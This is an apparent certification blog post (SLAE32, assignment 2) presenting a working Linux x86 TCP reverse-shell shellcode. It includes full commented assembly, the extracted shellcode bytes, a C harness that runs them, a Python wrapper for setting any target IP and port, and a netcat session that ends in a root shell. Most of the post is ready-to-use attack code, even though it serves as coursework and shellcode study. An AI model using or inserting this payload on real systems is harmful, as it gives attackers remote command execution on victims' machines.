Thumbnail: logo

SLAE32 - Assignment 2 - TCP reverse shell

by on



And now SLAE assignment two!
For this assignment I have been tasked to:

  • Create a Shell_Reverse_TCP shellcode
  • Reverse connects to configured IP and Port
  • Execs shell on successful connection

Plus, as done previously, port and now even address, should be easily configurable.

A reverse TCP shellcode’s goal is to perform a connection back from the victim host to the attacker machine, and, as usual, spawns a shell. This time around, I started looking at the Russell Willis’s code at ShellStorm Although I have not optimized its shellcode size, I have increase performance by reducing the ‘sys_dup2’ syscall loop of -drumroll- one cpu cycle! whoo! :D



These are the action performed that need to be assembly converted.

  1. Create a socket
  2. Connect to a specified IP/port
  3. Redirect stdin, stdout and stderr via dup2
  4. Execve a /bin/sh

Here the full commented shellcode:

global _start			

section .text
_start:

; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
;
xor    eax,eax  ;house cleaning
xor    ebx,ebx
xor    ecx,ecx
xor    edx,edx
mov    al,0x66  ;syscall: sys_socketcall
mov    bl,0x1   ;sys_socket (0x1)
push   ecx  
push   0x6      ;IPPROTO_TCP=6
push   0x1      ;socket_type=SOCK_STREAM (0x1)
push   0x2      ;socket_family=AF_INET (0x2)
mov    ecx,esp  ;save stack pointer to socket() args
int    0x80

; int socketcall(int call, unsigned long *args);
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
mov    esi,eax
mov    al,0x66

;struct sockaddr_in {
;  __kernel_sa_family_t  sin_family;     /* Address family               */
;  __be16                sin_port;       /* Port number                  */
;  struct in_addr        sin_addr;       /* Internet address             */
;};
xor    ebx,ebx
mov    bl,0x2      ;sin_family=AF_INET (0x2)
push   0x6424a8c0  ;sin_addr=192.168.36.100 (network byte order endianness)
push   word  0x697a;sin_port=31337 (network byte endianness)
push   bx
inc    bl		 ;      02 to bl
mov    ecx,esp      ;save stack pointer to sockaddr struct
push   0x10         ;addrlen=16
push   ecx          ;pointer to sockaddr
push   esi          ;sockfd
mov    ecx,esp	    ;save pointer to sockaddr_in struct
int    0x80         ;exec sys_connect

xor    ecx,ecx   
mov    cl,0x2       ;set loop-counter
loop:
	mov    al,0x3f    ;syscall: sys_dup2
	int    0x80       ;exec sys_dup2
	dec    cl         ;decrement counter
	jne    loop       ;jump to loop label if ZF is not equal to 0 (controlled by decrementing cl)

;execve
xor    eax,eax
push   edx          ;NULL terminating
push   0x68732f6e   ;"hs//"
push   0x69622f2f   ;"nib/"
mov    ebx,esp      ;save pointer to filename
push   edx          ;null push the stack
push   ebx          ;push pointer to filename
mov    ecx,esp      ;save stack pointer to ecx
push   edx          ;push null to stack
mov    edx,esp      ;save  stack pointer to edx
mov    al,0xb       ;syscall: sys_execve
int    0x80         ;exec sys_execve


As done in the preceeding task, let’s compile it and test our shellcode.

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -z execstack -o $1 $1.o

echo '[+] Done!'

And again with commandlinefu

#objdump -d ./reverse_tcp_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x24\x64\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\xfe\xc9\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"


Then paste&compile:

#include<stdio.h>

unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x24\x64\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\xfe\xc9\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
main()
{
    printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;
    ret();

}


gcc shellcode.c -o linux_x86_shell_bind_tcp -fno-stack-protector -z execstack -m32

And here the python code to automate ip+port insertion.

# SLAE - Assignment #1: BindShell (Linux/x86) Wrapper
# Author:  Matteo Malvica (@matteomalvica)
# Website:  http://www.matteomalvica.com

import sys

def rethex(n):
    h1 = hex(int(n))[2:]

    if len(h1) == 3:
        h1 = "0" + h1

    if len(h1) >= 3:
        t1 = h1[0:2]
        t2 = h1[2:4]
        h1 = "\\x" + t1 + "\\x" + t2

    if len(h1) < 4 and len(h1) > 2:
        h1 = "0" + h1
    if len(h1) < 2:
        h1="\\x0" + h1
    if len(h1) == 2:
        h1="\\x" + h1
    if h1 == "\\x00":
        print "Oops, looks like the final shellcode contains a \\x00 :(!\r\n"
        sys.exit()
    return h1   

total = len(sys.argv)
if total != 3:
    print "[+] Usage %s [ip] [tcp ort]" % sys.argv[0]
    sys.exit()

else:
    try:
        ip = sys.argv[1]
        addr = ""
        for i in range(0,4):
            addr = addr + rethex(ip.split(".",3)[i])            

        port = int(sys.argv[2])
        if port > 65535:
            print "Cannot bind a port greater than 65535!"
            sys.exit()
        if port < 1024:
            print "Port is smaller than 1024! Need to be root for that"
            sys.exit()      
        # convert integer argv port to hex and stuff with leading zeroes if port hex length is < 4
        hexport = hex(port)[2:].zfill(4)    
        # split hexport in two parts to check for null byte
        b1 = hexport[0:2]
        b2 = hexport[2:4]

        if b1 == "00" or b2 == "00":
            print "Port contains \\x00!"
            exit()

        # add leading zero if nibble-only value
        if len(b1) < 2:
            b1="\\x0" + b1
        if len(b1) == 2:
            b1="\\x" + b1
        if len(b2) < 2:
            b2="\\x0" + b2
        if len(b2) == 2:
            b2="\\x" + b2

        shellport=b1+b2

        shellport = rethex(port)

        print "Shellcode-ready address:\t" + addr
        print "Shellcode-ready port:\t\t" + shellport

        shellcode = bytearray("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2"
            "\\xb0\\x66\\xb3\\x01\\x51\\x6a\\x06\\x6a\\x01\\x6a"
            "\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x31"
            "\\xdb\\xb3\\x02\\x68" +addr+ "\\x66\\x68" +shellport+  
            "\\x66\\x53\\xfe\\xc3\\x89\\xe1\\x6a\\x10"
            "\\x51\\x56\\x89\\xe1\\xcd\\x80\\x31\\xc9\\xb1\\x02"
            "\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x75\\xf8\\x31\\xc0"
            "\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62"
            "\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\x52\\x89\\xe2"
            "\\xb0\\x0b\\xcd\\x80")

        print "Final shellcode:\t\n" + shellcode + "\""
        print "Shellocde length is:\t\t" + str(len(shellcode)/4) + "\n"

    except:
        print "exiting..."

Right - now we can go and listen to any connection coming on port ‘31337’

# nc -lvnp 31337
listening on [any] 31337 ...

And here we go, after firing up our shellcode from another tab, we receive the simulated remote connection locally on our machine, from port 50730

#nc -lvnp 31337
listening on [any] 31337 ...
connect to [192.168.36.100] from (UNKNOWN) [192.168.36.100] 50730
whoami
root



My assignment code can be found here: here



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-5837

exploit, SLAE, shellcode, security, x86IA


© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.